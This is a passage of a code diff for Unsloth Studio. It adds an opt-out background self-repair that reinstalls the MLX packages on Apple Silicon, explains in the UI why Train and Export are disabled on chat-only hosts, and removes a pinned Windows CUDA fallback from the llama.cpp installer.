+    freshness check sleeps for SLEEP seconds, then populates app.state later."""
+
+    def _slow_freshness(_bin, **_kw):
+        time.sleep(SLEEP)
+        return {"stale": False, "behind": False}
+
+    monkeypatch.setattr(freshness, "check_prebuilt_freshness", _slow_freshness)
+
+    app = _FakeApp()
+    t0 = time.monotonic()
+    main._start_llama_cpp_probes_if_enabled(app)
+    elapsed = time.monotonic() - t0
+
+    assert elapsed < 0.5, f"startup probe blocked the caller for {elapsed:.2f}s"
+
+    # The daemon thread eventually populates app.state once the slow check returns.
+    deadline = time.monotonic() + SLEEP + 5
+    while app.state.llama_cpp_freshness is None and time.monotonic() < deadline:
+        time.sleep(0.1)
+    assert app.state.llama_cpp_freshness == {"stale": False, "behind": False}
+
+
+def test_disable_env_skips_probe_entirely(monkeypatch):
+    """UNSLOTH_DISABLE_UPDATE_CHECK=1 starts no probe thread and makes no call."""
+    calls: list[int] = []
+
+    def _freshness(_bin, **_kw):
+        calls.append(1)
+        return {"stale": False}
+
+    monkeypatch.setattr(freshness, "check_prebuilt_freshness", _freshness)
+    monkeypatch.setenv("UNSLOTH_DISABLE_UPDATE_CHECK", "1")
+
+    app = _FakeApp()
+    main._start_llama_cpp_probes_if_enabled(app)
+    time.sleep(0.5)
+
+    assert calls == [], "freshness check ran despite UNSLOTH_DISABLE_UPDATE_CHECK=1"
+    assert app.state.llama_cpp_freshness is None
diff --git a/studio/backend/tests/test_utils.py b/studio/backend/tests/test_utils.py
index cc7d04ca0a..64a3c62156 100644
--- a/studio/backend/tests/test_utils.py
+++ b/studio/backend/tests/test_utils.py
@@ -107,6 +107,7 @@ class TestGetDevice:
             patch("utils.hardware.hardware._has_torch", return_value = False),
             patch("utils.hardware.hardware.is_apple_silicon", return_value = True),
             patch("utils.hardware.hardware._has_mlx", return_value = True),
+            patch("utils.hardware.hardware._has_usable_mlx_stack", return_value = True),
         ):
             assert _reset_and_detect() == DeviceType.MLX
 
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 02e177baf3..637679a4be 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -66,6 +66,11 @@ class DeviceType(str, Enum):
 
 DEVICE: Optional[DeviceType] = None
 CHAT_ONLY: bool = True  # No CUDA GPU -> GGUF chat only (Mac, CPU-only, etc.)
+# Why CHAT_ONLY is True (Train/Export disabled). None when training is enabled.
+# "mlx_unavailable": Apple Silicon but the MLX stack is missing, too old, or broken
+# (the usual cause of "Train/Export greyed out" on Macs after a reinstall dropped MLX);
+# "intel_mac": Intel Mac (no PyTorch/MLX); "no_gpu": CPU-only non-Mac host.
+CHAT_ONLY_REASON: Optional[str] = None
 IS_ROCM: bool = False  # True when running on AMD ROCm (HIP) -- routes GPU monitoring to amd.py
 
 
@@ -106,6 +111,24 @@ def _has_mlx() -> bool:
         return False
 
 
+def _has_usable_mlx_stack() -> bool:
+    """True only when the FULL Studio MLX training/export stack is usable
+    (mlx + mlx-lm + mlx-vlm at the minimum versions unsloth-zoo requires), not
+    just a bare ``import mlx.core``. A backtracked/old mlx-vlm still imports but
+    breaks VLM Train/Export, so the training gate must match the self-heal's own
+    criterion (utils.mlx_repair.mlx_stack_available) -- otherwise detect_hardware
+    would enable Train/Export on exactly the inadequate stack the MLX self-heal
+    is trying to repair, leaving the user with greyed-in-but-broken buttons."""
+    try:
+        from utils.mlx_repair import mlx_stack_available
+        return mlx_stack_available()
+    except Exception as exc:
+        # mlx_repair should always import; if it somehow cannot, fall back to the
+        # bare import check rather than forcing a working host into chat-only.
+        logger.debug("MLX stack availability check failed, using bare import: %s", exc)
+        return _has_mlx()
+
+
 def _print_cuda_device_list(is_rocm: bool) -> None:
     """List every visible CUDA/ROCm GPU with its index at startup.
 
@@ -151,8 +174,9 @@ def detect_hardware() -> DeviceType:
       2. MLX   (Apple Silicon via MLX framework)
       3. CPU   (fallback)
     """
-    global DEVICE, CHAT_ONLY, IS_ROCM
-    CHAT_ONLY = True  # reset -- only CUDA/ROCm sets it to False
+    global DEVICE, CHAT_ONLY, CHAT_ONLY_REASON, IS_ROCM
+    CHAT_ONLY = True  # reset -- only CUDA/ROCm/XPU/MLX sets it to False
+    CHAT_ONLY_REASON = None
     IS_ROCM = False
 
     # --- CUDA / ROCm: try PyTorch ---
@@ -190,7 +214,10 @@ def detect_hardware() -> DeviceType:
             return DEVICE
 
     # --- MLX: Apple Silicon ---
-    if is_apple_silicon() and _has_mlx():
+    # Require the full mlx/mlx-lm/mlx-vlm stack (not a bare `import mlx.core`) so
+    # the gate matches utils.mlx_repair: a partial/backtracked stack stays
+    # chat-only (reason "mlx_unavailable") and the background self-heal repairs it.
+    if is_apple_silicon() and _has_usable_mlx_stack():
         DEVICE = DeviceType.MLX
         CHAT_ONLY = False
         # Use platform.machine() ("arm64"); platform.processor() returns "i386"
@@ -201,6 +228,23 @@ def detect_hardware() -> DeviceType:
 
     # --- Fallback ---
     DEVICE = DeviceType.CPU
+    # CHAT_ONLY is still True here (every training-capable branch returned early),
+    # so record WHY so the UI can explain the greyed-out Train/Export instead of
+    # silently disabling them.
+    if is_apple_silicon():
+        # Reached the CPU fallback on Apple Silicon, so the MLX stack is missing,
+        # too old, or broken. This is usually an environment problem recoverable
+        # with `unsloth studio update`.
+        CHAT_ONLY_REASON = "mlx_unavailable"
+        logger.warning(
+            "Apple Silicon detected but the MLX stack is incomplete or too old; "
+            "Train/Export disabled (chat-only). Run `unsloth studio update` to "
+            "restore MLX training."
+        )
+    elif platform.system() == "Darwin":
+        CHAT_ONLY_REASON = "intel_mac"  # Intel Mac: no PyTorch/MLX -> GGUF-only by design.
+    else:
+        CHAT_ONLY_REASON = "no_gpu"
     print("Hardware detected: CPU (no GPU backend available)")
     return DEVICE
 
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
new file mode 100644
index 0000000000..06d0289166
--- /dev/null
+++ b/studio/backend/utils/mlx_repair.py
@@ -0,0 +1,279 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Best-effort MLX self-heal for Apple Silicon.
+
+On macOS, Studio enables Train/Export only when the MLX training/export stack is
+usable (see utils.hardware.hardware.detect_hardware -> CHAT_ONLY). MLX is pulled
+only transitively via unsloth-zoo, and a resolver backtrack (mlx-vlm ->
+transformers>=5 vs the single-env transformers pin) can silently drop it, leaving
+Train/Export greyed out after a reinstall/update. This reinstalls mlx by name on
+a background thread, then re-detects so the gate re-opens without a manual
+`unsloth studio update`.
+
+The install mirrors the main Apple Silicon installer (install_python_stack.py):
+it points UV_OVERRIDE at overrides-darwin-arm64.txt so the resolver keeps the
+Studio transformers pin AND installs a current mlx-vlm, and it requires the same
+minimum versions unsloth-zoo declares so a backtracked old mlx-vlm (which still
+imports but breaks VLM Train/Export) is never accepted as healthy.
+
+Mirrors the runtime backend self-heal already used for tilelang
+(core.training.worker._ensure_tilelang_backend_unconditional): default-on,
+best-effort, opt out with UNSLOTH_DISABLE_MLX_AUTOREPAIR=1.
+"""
+
+from __future__ import annotations
+
+import importlib
+import os
+import platform
+import shutil
+import subprocess
+import sys
+import tempfile
+import threading
+from pathlib import Path
+
+import structlog
+
+logger = structlog.get_logger(__name__)
+
+DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"
+# Minimum versions unsloth-zoo requires on Apple Silicon (its pyproject darwin
+# deps). mlx-vlm especially must be >=0.4.4: an older one still imports but
+# breaks VLM Train/Export, so installing it would wrongly clear chat-only.
+_MLX_MIN_VERSIONS = {"mlx": "0.22.0", "mlx-lm": "0.22.0", "mlx-vlm": "0.4.4"}
+_MLX_PACKAGE_NAMES = tuple(_MLX_MIN_VERSIONS)
+_MLX_RUNTIME_IMPORTS = ("mlx.core", "mlx_lm", "mlx_lm.sample_utils", "mlx_vlm")
+MLX_PACKAGES = tuple(f"{name}>={version}" for name, version in _MLX_MIN_VERSIONS.items())
+_MLX_REINSTALL_ARGS = tuple(
+    arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name)
+)
+_REPAIR_TIMEOUT_S = 900
+
+# Attempt at most once per process; success is sticky (mlx then imports and the
+# guard short-circuits on the next boot).
+_attempted = False
+_attempted_lock = threading.Lock()
+
+
+def is_apple_silicon() -> bool:
+    return platform.system() == "Darwin" and platform.machine() == "arm64"
+
+
+def mlx_available() -> bool:
+    try:
+        import mlx.core  # noqa: F401
+        return True
+    except Exception:
+        return False
+
+
+def _mlx_runtime_imports_available() -> bool:
+    for module in _MLX_RUNTIME_IMPORTS:
+        try:
+            importlib.import_module(module)
+        except Exception:
+            return False
+    return True
+
+
+def _mlx_versions_satisfy_minimums() -> bool:
+    try:
+        from importlib.metadata import PackageNotFoundError
+        from importlib.metadata import version as _dist_version
+
+        from packaging.version import Version
+    except Exception:
+        return False
+    for name, minimum in _MLX_MIN_VERSIONS.items():
+        try:
+            if Version(_dist_version(name)) < Version(minimum):
+                return False
+        except PackageNotFoundError:
+            return False
+        except Exception:
+            return False
+    return True
+
+
+def mlx_stack_available() -> bool:
+    """`import mlx.core` works AND mlx/mlx-lm/mlx-vlm meet unsloth-zoo's minimums.
+
+    Check distribution versions before imports so a too-old but importable MLX
+    module is not loaded into this process before repair can replace it."""
+    if not _mlx_versions_satisfy_minimums():
+        return False
+    return _mlx_runtime_imports_available()
+
+
+def _uv_executable() -> str | None:
+    """Find uv even when macOS GUI launchers start with a minimal PATH."""
+    found = shutil.which("uv")
+    if found:
+        return found
+    for candidate in (
+        Path.home() / ".local" / "bin" / "uv",
+        Path.home() / ".cargo" / "bin" / "uv",
+        Path("/opt/homebrew/bin/uv"),
+        Path("/usr/local/bin/uv"),
+    ):
+        try:
+            if candidate.is_file() and os.access(candidate, os.X_OK):
+                return str(candidate)
+        except OSError:
+            continue
+    return None
+
+
+def _uv_install_cmd(*args: str) -> list[str] | None:
+    uv = _uv_executable()
+    if not uv:
+        return None
+    return [uv, "pip", "install", "--python", sys.executable, *args]
+
+
+def _mlx_install_env() -> dict[str, str]:
+    """Environment for the mlx install. Mirror the main installer
+    (install_python_stack.py) by pointing UV_OVERRIDE at overrides-darwin-arm64.txt,
+    which relaxes mlx-vlm/mlx-lm's transformers>=5 requirement to >=4.57.6. Without
+    it, uv keeps the Studio transformers pin only by silently backtracking mlx-vlm
+    to an old, unsupported version (uv honours UV_OVERRIDE; plain pip ignores it,
+    so the transformers constraint below is the pip-path safety net)."""
+    env = dict(os.environ)
+    override = (
+        Path(__file__).resolve().parents[1]
+        / "requirements"
+        / "single-env"
+        / "overrides-darwin-arm64.txt"
+    )
+    if override.is_file():
+        env.setdefault("UV_OVERRIDE", str(override))
+    return env
+
+
+def _transformers_constraint_args() -> tuple[list[str], str | None]:
+    """Pin transformers to the running version for the mlx install.
+
+    The install must never upgrade transformers underneath a running Studio
+    (the single-env install pins transformers==4.57.6). With UV_OVERRIDE set this
+    is belt-and-suspenders; on the plain-pip path (no UV_OVERRIDE support) it is
+    the actual guard -- the resolver either finds an mlx build compatible with the
+    pin or fails, leaving us chat-only rather than breaking Studio. Returns
+    (pip args, temp file path to clean up).
+
+    Read the version from installed metadata rather than `import transformers`:
+    transformers can have valid metadata yet fail to import (e.g. an incompatible
+    huggingface_hub), and in that case we still want to pin it so the mlx install
+    cannot quietly upgrade it out from under Studio."""
+    from importlib.metadata import PackageNotFoundError, version as _dist_version
+
+    try:
+        transformers_version = _dist_version("transformers")
+    except PackageNotFoundError:
+        return [], None
+    except Exception:
+        return [], None
+    fd, path = tempfile.mkstemp(prefix = "mlx_repair_", suffix = ".txt")
+    with os.fdopen(fd, "w") as fh:
+        fh.write(f"transformers=={transformers_version}\n")
+    return ["--constraint", path], path
+
+
+def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:
+    """Install a usable mlx/mlx-lm/mlx-vlm stack by name into the running venv.
+    Best-effort; returns True iff the resulting stack meets unsloth-zoo's minimums
+    (so a backtracked old mlx-vlm is rejected, not accepted). transformers is held
+    at its pinned version so the install can never upgrade it underneath Studio."""
+    # Prepare the constraint inside the try: this runs on a daemon thread, so an
+    # exception here (e.g. tempfile.mkstemp failing on a full disk or bad TMPDIR)
+    # must leave Studio chat-only, not crash the background self-heal thread.
+    constraint_path = None
+    try:
+        constraint_args, constraint_path = _transformers_constraint_args()
+        cmd = _uv_install_cmd("--upgrade", *_MLX_REINSTALL_ARGS, *constraint_args, *MLX_PACKAGES)
+        if cmd is None:
+            logger.warning(
+                "MLX self-heal requires uv so Studio can apply dependency overrides; "
+                "staying chat-only. Run `unsloth studio update` to restore uv."
+            )
+            return False
+        logger.info("MLX self-heal: installing %s", ", ".join(MLX_PACKAGES))
+        result = subprocess.run(
+            cmd,
+            env = _mlx_install_env(),
+            stdout = subprocess.PIPE,
+            stderr = subprocess.STDOUT,
+            text = True,
+            timeout = timeout,
+        )
+    except subprocess.TimeoutExpired:
+        logger.warning("MLX self-heal timed out after %ss; staying chat-only", timeout)
+        return False
+    except Exception as exc:  # pragma: no cover - environment dependent
+        logger.warning("MLX self-heal could not start: %s", exc)
+        return False
+    finally:
+        if constraint_path and os.path.exists(constraint_path):
+            try:
+                os.remove(constraint_path)
+            except OSError:
+                pass
+    if result.returncode != 0:
+        tail = (result.stdout or "")[-2000:]
+        logger.warning("MLX self-heal failed (staying chat-only):\n%s", tail)
+        return False
+    importlib.invalidate_caches()
+    if not mlx_stack_available():
+        logger.warning(
+            "MLX self-heal produced an incomplete or too-old MLX stack "
+            "(need %s); staying chat-only.",
+            ", ".join(f"{name}>={ver}" for name, ver in _MLX_MIN_VERSIONS.items()),
+        )
+        return False
+    return True
+
+
+def _run_repair_and_redetect() -> None:
+    if not attempt_mlx_repair():
+        return
+    try:
+        from utils.hardware import hardware as hw
+        hw.detect_hardware()  # flips CHAT_ONLY / DEVICE now that mlx imports
+        logger.info(
+            "MLX self-heal succeeded; Train/Export enabled (reload the page). chat_only=%s",
+            hw.CHAT_ONLY,
+        )
+    except Exception as exc:  # pragma: no cover - defensive
+        logger.warning("MLX installed but hardware re-detection failed: %s", exc)
+
+
+def start_mlx_autorepair_if_needed() -> bool:
+    """If this is an Apple Silicon host whose MLX stack is missing or too old,
+    reinstall it on a daemon thread (off the startup critical path) and re-detect
+    on success. Returns True iff a repair thread was started. No-op (returns False)
+    off Apple Silicon, when the stack is already adequate, when already attempted
+    this process, or when disabled via UNSLOTH_DISABLE_MLX_AUTOREPAIR=1."""
+    global _attempted
+    if os.environ.get(DISABLE_ENV_VAR) == "1":
+        return False
+    if not is_apple_silicon():
+        return False
+    if mlx_stack_available():
+        return False
+    with _attempted_lock:
+        if _attempted:
+            return False
+        _attempted = True
+    logger.warning(
+        "Apple Silicon without a usable MLX stack; attempting a one-time background "
+        "reinstall of mlx/mlx-lm/mlx-vlm to re-enable Train/Export. "
+        "Set %s=1 to disable.",
+        DISABLE_ENV_VAR,
+    )
+    threading.Thread(
+        target = _run_repair_and_redetect,
+        daemon = True,
+        name = "mlx-autorepair",
+    ).start()
+    return True
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 11fe58e6c3..9401ba3427 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -2354,6 +2354,12 @@ def load_model_defaults(model_name: str) -> Dict[str, Any]:
     MODEL_NAME_MAPPING aliases, else falls back to default.yaml. Returns the
     parameter dict, or {} if none found.
     """
+    # No model selected yet (or a non-string id): nothing to load. Guard before
+    # the .lower() calls below so this doesn't raise and get logged as
+    # "Error loading model defaults for None: 'NoneType' object has no attribute
+    # 'lower'".
+    if not isinstance(model_name, str) or not model_name:
+        return {}
     try:
         script_dir = Path(__file__).parent.parent.parent
         defaults_dir = script_dir / "assets" / "configs" / "model_defaults"
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 00d6347a64..0497b64882 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -108,7 +108,7 @@ import {
 } from "@/features/chat";
 import { useSettingsDialogStore } from "@/features/settings";
 import { useEffectiveProfile, UserAvatar } from "@/features/profile";
-import { usePlatformStore } from "@/config/env";
+import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { clearAuthTokens, logout } from "@/features/auth";
 import { TOUR_OPEN_EVENT } from "@/features/tour";
 import {
@@ -211,6 +211,7 @@ function NavItem({
   dataTour,
   className,
   spinner,
+  tooltip,
 }: {
   icon: typeof ZapIcon;
   label: string;
@@ -221,12 +222,15 @@ function NavItem({
   dataTour?: string;
   className?: string;
   spinner?: boolean;
+  // Overrides the hover tooltip (defaults to `label`). Used to explain why a
+  // disabled item (e.g. Train/Export on a chat-only host) is greyed out.
+  tooltip?: string;
 }) {
   return (
     <SidebarMenuItem className={className}>
       <div className="relative">
         <SidebarMenuButton
-          tooltip={label}
+          tooltip={tooltip ?? label}
           disabled={disabled}
           onClick={onClick}
           isActive={active}
@@ -267,6 +271,33 @@ export function AppSidebar() {
   };
 
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
+  const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason);
+  // When Train/Export are greyed out (chat-only host), explain why on hover
+  // instead of disabling them silently. mlx_unavailable is the common macOS case
+  // after a reinstall/update dropped MLX and is recoverable via `unsloth studio update`.
+  const trainExportDisabledHint: string | undefined = !chatOnly
+    ? undefined
+    : chatOnlyReason === "mlx_unavailable"
+      ? "Training needs MLX. Run `unsloth studio update` to enable Train and Export."
+      : chatOnlyReason === "intel_mac"
+        ? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only."
+        : chatOnlyReason === "no_gpu"
+          ? "Training needs an NVIDIA or AMD GPU."
+          : undefined;
+
+  // The backend MLX self-heal (utils/mlx_repair) can reinstall MLX in the
+  // background and flip chat_only false without a restart. The platform store
+  // cached the initial /api/health, so re-poll while we are chat-only for the
+  // recoverable mlx_unavailable case; the effect stops once Train/Export become
+  // available (chatOnly flips false and this effect's guard returns early).
+  useEffect(() => {
+    if (!chatOnly || chatOnlyReason !== "mlx_unavailable") return;
+    const id = window.setInterval(() => {
+      void fetchDeviceType({ force: true }).catch(() => undefined);
+    }, 15000);
+    return () => window.clearInterval(id);
+  }, [chatOnly, chatOnlyReason]);
+
   const [shutdownOpen, setShutdownOpen] = useState(false);
 
   const isChatRoute = pathname.startsWith("/chat");
@@ -1105,6 +1136,7 @@ export function AppSidebar() {
                   pathname === "/studio" || pathname.startsWith("/studio/")
                 }
                 disabled={chatOnly}
+                tooltip={trainExportDisabledHint}
                 spinner={trainingInProgress}
                 onClick={() => {
                   if (chatOnly) return;
@@ -1133,6 +1165,7 @@ export function AppSidebar() {
                     label={t("shell.navigation.train")}
                     active={pathname === "/studio" || pathname.startsWith("/studio/")}
                     disabled={chatOnly}
+                    tooltip={trainExportDisabledHint}
                     spinner={trainingInProgress}
                     onClick={() => {
                       if (chatOnly) return;
@@ -1154,6 +1187,7 @@ export function AppSidebar() {
                     label={t("shell.navigation.export")}
                     active={pathname === "/export" || pathname.startsWith("/export/")}
                     disabled={chatOnly}
+                    tooltip={trainExportDisabledHint}
                     spinner={exportInProgress}
                     onClick={() => {
                       if (chatOnly) return;
diff --git a/studio/frontend/src/components/ui/sidebar.tsx b/studio/frontend/src/components/ui/sidebar.tsx
index 0a71753899..3a8694908f 100644
--- a/studio/frontend/src/components/ui/sidebar.tsx
+++ b/studio/frontend/src/components/ui/sidebar.tsx
@@ -571,6 +571,7 @@ function SidebarMenuButton({
 } & VariantProps<typeof sidebarMenuButtonVariants>) {
   const Comp = asChild ? Slot.Root : "button"
   const { isMobile, state } = useSidebar()
+  const isDisabled = Boolean(props.disabled || props["aria-disabled"])
 
   const button = (
     <Comp
@@ -594,13 +595,26 @@ function SidebarMenuButton({
     }
   }
 
+  // A disabled <button> fires no pointer events (and is not focusable), so the
+  // tooltip would never open. Wrap it in a focusable span with a hoverable box
+  // so the explanation (e.g. why Train/Export are greyed out) is reachable.
+  const trigger = isDisabled ? (
+    <span tabIndex={0} className="flex w-full">
+      {button}
+    </span>
+  ) : (
+    button
+  )
+
   return (
     <Tooltip>
-      <TooltipTrigger asChild>{button}</TooltipTrigger>
+      <TooltipTrigger asChild>{trigger}</TooltipTrigger>
       <TooltipContent
         side="right"
         align="center"
-        hidden={state !== "collapsed" || isMobile}
+        // Enabled items only show the tooltip when collapsed (icon labels);
+        // a disabled item shows it while expanded too, since it explains why.
+        hidden={isMobile || (!isDisabled && state !== "collapsed")}
         {...tooltip}
       />
     </Tooltip>
diff --git a/studio/frontend/src/config/env.ts b/studio/frontend/src/config/env.ts
index 60f9e876f9..def1b9bad9 100644
--- a/studio/frontend/src/config/env.ts
+++ b/studio/frontend/src/config/env.ts
@@ -18,6 +18,10 @@ export type DeviceType = "mac" | "windows" | "linux" | string;
 interface PlatformState {
   deviceType: DeviceType;
   chatOnly: boolean;
+  // Why chatOnly is set (null when training is enabled), from /api/health.
+  // e.g. "mlx_unavailable" on Apple Silicon -> the UI explains the greyed-out
+  // Train/Export instead of silently disabling them.
+  chatOnlyReason: string | null;
   // From /api/health (authed): live tunnel URL, direct (non-tunnel) base, and
   // whether the server was launched with --secure.
   cloudflareUrl: string | null;
@@ -42,6 +46,7 @@ const localDeviceType = detectLocalPlatform();
 export const usePlatformStore = create<PlatformState>()((_, get) => ({
   deviceType: localDeviceType,
   chatOnly: localDeviceType === "mac",
+  chatOnlyReason: null,
   cloudflareUrl: null,
   serverUrl: null,
   secure: false,
@@ -71,18 +76,21 @@ export async function fetchDeviceType(options?: {
       const data = (await res.json()) as {
         device_type?: string;
         chat_only?: boolean;
+        chat_only_reason?: string | null;
         cloudflare_url?: string | null;
         server_url?: string | null;
         secure?: boolean;
       };
       const deviceType = data.device_type ?? detectLocalPlatform();
       const chatOnly = data.chat_only ?? false;
+      const chatOnlyReason = data.chat_only_reason ?? null;
       // Cache only a server-reported platform. Unauthenticated responses fall
       // back to the browser platform, which can differ from the host (WSL,
       // SSH); keeping fetched=false retries once a token exists.
       usePlatformStore.setState({
         deviceType,
         chatOnly,
+        chatOnlyReason,
         cloudflareUrl: data.cloudflare_url ?? null,
         serverUrl: data.server_url ?? null,
         secure: data.secure ?? false,
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 4edab0b8ab..569431b71e 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -179,9 +179,7 @@ DEFAULT_MAX_MACOS_RELEASE_FALLBACKS = env_int(
     16,
     minimum = 1,
 )
-# Deterministic macOS pin. At b9428 ggml-org's macOS runner moved to macOS 26
-# (Tahoe), so b9428+ prebuilts only load on macOS 26+. b9415 is the last build
-# stamped below 26 (arm64 minos 14, x64 minos 13.3); loads on macOS 13.3/14/15/26.
+# Last upstream macOS release before ggml-org moved macOS builds to Tahoe.
 _PINNED_MACOS_FALLBACK_TAG = "b9415"
 _PINNED_MACOS_LATEST_FLOOR = (26, 0)
 FORCE_COMPILE_DEFAULT_REF = os.environ.get("UNSLOTH_LLAMA_FORCE_COMPILE_REF", "master")
@@ -193,26 +191,12 @@ FORCE_COMPILE_DEFAULT_REF = os.environ.get("UNSLOTH_LLAMA_FORCE_COMPILE_REF", "m
 _MIN_CUDA_MAJOR = 12
 _MAX_PROBE_CUDA_MAJOR = 19
 
-# Last ggml-org release whose Windows win-cuda-13 build is still sub-13.3
-# (cuda-13.1, b9360, 2026-05-27). Upstream bumped win-cuda-13 to 13.3 at b9365
-# and now ships only cuda-12.4 + cuda-13.3. cuda-12.4 predates Blackwell (ggml
-# compiles sm_120 only at toolkit >= 12.8), so a Blackwell host on a 13.0/13.1/13.2
-# driver is gated off 13.3 and would drop to a CPU-only 12.4 build. b9360 is
-# immutable, so we pin its cuda-13.1 build (plus paired cudart) as a GPU
-# fallback for exactly those hosts. See unslothai/unsloth#5887.
-_PINNED_BLACKWELL_FALLBACK_TAG = "b9360"
-_PINNED_BLACKWELL_FALLBACK_RUNTIME = "13.1"
-# Floor at 13.0: b9360 ships native sm_120a SASS (no PTX/JIT) and a bundled
-# cuda-13.1 cudart, both of which run on a CUDA 13.0 r580+ driver via CUDA
-# minor-version compatibility, so the mainstream 13.0 Blackwell branch is covered.
-_PINNED_BLACKWELL_DRIVER_FLOOR = (13, 0)
+# Blackwell sm_120 capability thresholds. A host is Blackwell when its highest
+# compute capability is at least sm_120; ggml compiles sm_120 only at toolkit
+# >= 12.8, so an in-release windows-cuda build at or above that already covers
+# Blackwell, while cuda-12.4 does not and is dropped on a Blackwell host.
 _BLACKWELL_MIN_SM = 120
-# ggml compiles Blackwell sm_120 only at toolkit >= 12.8, so an in-release
-# windows-cuda build at or above this already covers Blackwell and makes the
-# older pinned 13.1 fallback unnecessary (cuda-12.4 is below it).
 _BLACKWELL_MIN_TOOLKIT = (12, 8)
-_PINNED_BLACKWELL_LLAMA_SHA256 = "31ddb8b42d7ab4a47cab8c48c397519f580ca502df7e73f3ab396eacc16c8e8d"
-_PINNED_BLACKWELL_CUDART_SHA256 = "f96935e7e385e3b2d0189239077c10fe8fd7e95690fea4afec455b1b6c7e3f18"
 
 
 def _cuda_runtime_lines_for_major(major: int) -> list[str]:
@@ -1441,11 +1425,6 @@ def direct_upstream_release_plan(
                 )
             )
             attempts[:] = _drop_blackwell_incapable_windows_cuda(host, attempts)
-            # Blackwell on a 13.1/13.2 driver: prefer the pinned cuda-13.1 GPU
-            # build over the CPU-only cuda-12.4 the in-release gating leaves.
-            pinned = _pinned_windows_cuda_fallback(host, attempts)
-            if pinned is not None:
-                attempts.insert(0, pinned)
         elif host.has_rocm:
             hip_asset = f"llama-{release_tag}-bin-win-hip-radeon-x64.zip"
             hip_url = assets.get(hip_asset)
@@ -1571,19 +1550,9 @@ def direct_upstream_release_plan(
 
 
 def pinned_macos_release_tag(host: HostInfo, repo: str) -> str | None:
-    """Pin b9415 (the last upstream macOS build that loads below macOS 26) for a
-    known pre-26 host on ggml-org upstream; return None to keep latest selection.
-    The unslothai/llama.cpp fork ships its own prebuilts (arm64 minos 14, x64
-    minos 13.3) and needs no pin, so this is a no-op there and for macOS 26+,
-    unknown version, non-macOS."""
-    if repo != UPSTREAM_REPO:
+    if repo != UPSTREAM_REPO or not host.is_macos or host.macos_version is None:
         return None
-    if not host.is_macos:
-        return None
-    version = host.macos_version
-    if version is None:
-        return None
-    if version >= _PINNED_MACOS_LATEST_FLOOR:
+    if host.macos_version >= _PINNED_MACOS_LATEST_FLOOR:
         return None
     return _PINNED_MACOS_FALLBACK_TAG
 
@@ -1610,9 +1579,6 @@ def resolve_simple_install_release_plans(
         )
     requested_tag = normalized_requested_llama_tag(llama_tag)
     allow_older_release_fallback = requested_tag == "latest" and not published_release_tag
-    # macOS: pin the last upstream build that loads on a pre-26 host instead of
-    # fetching the latest (macOS 26 only) build and walking back release by
-    # release. No-op on macOS 26+, unknown version, non-macOS, and the fork.
     if allow_older_release_fallback:
         pinned_macos = pinned_macos_release_tag(host, repo)
         if pinned_macos is not None:
@@ -3453,94 +3419,6 @@ def _drop_blackwell_incapable_windows_cuda(
     ]
 
 
-def _pinned_windows_cuda_fallback(
-    host: HostInfo, existing_cuda_attempts: list[AssetChoice]
-) -> AssetChoice | None:
-    """Pinned GPU fallback for a Blackwell host the in-release build gates off.
-    Upstream stopped publishing a sub-13.3 Windows cuda13 build after b9360, and
-    cuda-12.4 cannot offload sm_120, so a 13.1/13.2 driver would land on CPU.
-    b9360's cuda-13.1 build is immutable and runs on those drivers. Returns None
-    (dormant) whenever the in-release selection already offers a Blackwell-capable
-    build (toolkit >= 12.8, e.g. a runnable cuda13/cuda14), so it self-disables
-    once upstream ships a driver-runnable build again.
-
-    The b9360 binary reuses the current release's source tree and convert scripts
-    and is recorded via binary_release_tag."""
-    if not (host.is_windows and host.is_x86_64 and host.has_usable_nvidia):
-        return None
-    driver = host.driver_cuda_version
-    if driver is None or driver < _PINNED_BLACKWELL_DRIVER_FLOOR:
-        return None
-    caps = normalize_compute_caps(host.compute_caps)
-    if not caps or int(caps[-1]) < _BLACKWELL_MIN_SM:
-        return None
-    if any(_windows_cuda_attempt_covers_blackwell(attempt) for attempt in existing_cuda_attempts):
-        return None
-    tag = _PINNED_BLACKWELL_FALLBACK_TAG
-    runtime = _PINNED_BLACKWELL_FALLBACK_RUNTIME
-    base = (
-        f"https://github.com/{UPSTREAM_REPO}/releases/download/"
-        f"{urllib.parse.quote(tag, safe = '')}"
-    )
-    name = f"llama-{tag}-bin-win-cuda-{runtime}-x64.zip"
-    cudart_name = f"cudart-llama-bin-win-cuda-{runtime}-x64.zip"
-    return AssetChoice(
-        repo = UPSTREAM_REPO,
-        tag = tag,
-        name = name,
-        url = f"{base}/{name}",
-        source_label = "upstream",
-        install_kind = "windows-cuda",
-        runtime_line = "cuda13",
-        runtime_name = cudart_name,
-        runtime_url = f"{base}/{cudart_name}",
-        expected_sha256 = _PINNED_BLACKWELL_LLAMA_SHA256,
-        runtime_sha256 = _PINNED_BLACKWELL_CUDART_SHA256,
-        selection_log = [
-            f"windows_cuda_selection: pinned {tag} cuda-{runtime} Blackwell GPU "
-            f"fallback (in-release cuda13 gated off by driver "
-            f"{driver[0]}.{driver[1]})"
-        ],
-    )
-
-
-def _augment_checksums_with_pin(
-    checksums: ApprovedReleaseChecksums, pin: AssetChoice
-) -> ApprovedReleaseChecksums:
-    """Add the pin's own verified hashes to a copy of the approved checksums so
-    apply_approved_hashes keeps it on the published path (b9360 is not in the
